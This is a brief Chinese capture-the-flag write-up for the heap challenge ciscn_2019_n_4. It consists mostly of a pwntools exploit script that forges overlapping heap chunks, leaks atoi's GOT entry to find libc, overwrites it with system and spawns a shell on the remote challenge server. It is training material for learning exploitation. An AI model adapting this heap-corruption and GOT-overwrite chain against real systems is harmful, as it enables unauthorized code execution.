题目链接:
https://www.xuenixiang.com/ctfexercise-competition-419.html
堆块上有悬挂的指针直接对它进行写入即可
exp:
#!/usr/bin/python2
from pwn import *
#p=process('./ciscn_2019_n_4')
p=remote('node3.buuoj.cn',25967)
elf=ELF('./ciscn_2019_n_4')
libc=elf.libc
def add(size,content):
p.sendlineafter(':','1')
p.sendlineafter(' ?',str(size))
p.sendlineafter('nest?',content)
def edit(idx,content):
p.sendlineafter(':','2')
p.sendlineafter(' :',str(idx))
p.sendlineafter('nest?',content)
def show(idx):
p.sendlineafter(':','3')
p.sendlineafter('Index :',str(idx))
def delete(idx):
p.sendlineafter(':','4')
p.sendlineafter('Index :',str(idx))
add(0x18,'aaa')
add(0x10,'bbb')#1
add(0x10,'ccc')
add(0x10,'cccc')
edit(0,'a'*0x18+'\x91')
delete(1)
add(0x80,p64(0x8)+p64(0)+p64(0)+p64(0x21)+p64(80)+p64(elf.got['atoi']))
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
edit(1,p64(system))
#show(0)
sleep(1)
p.sendlineafter('choice :','/bin/sh\x00')
p.interactive()
|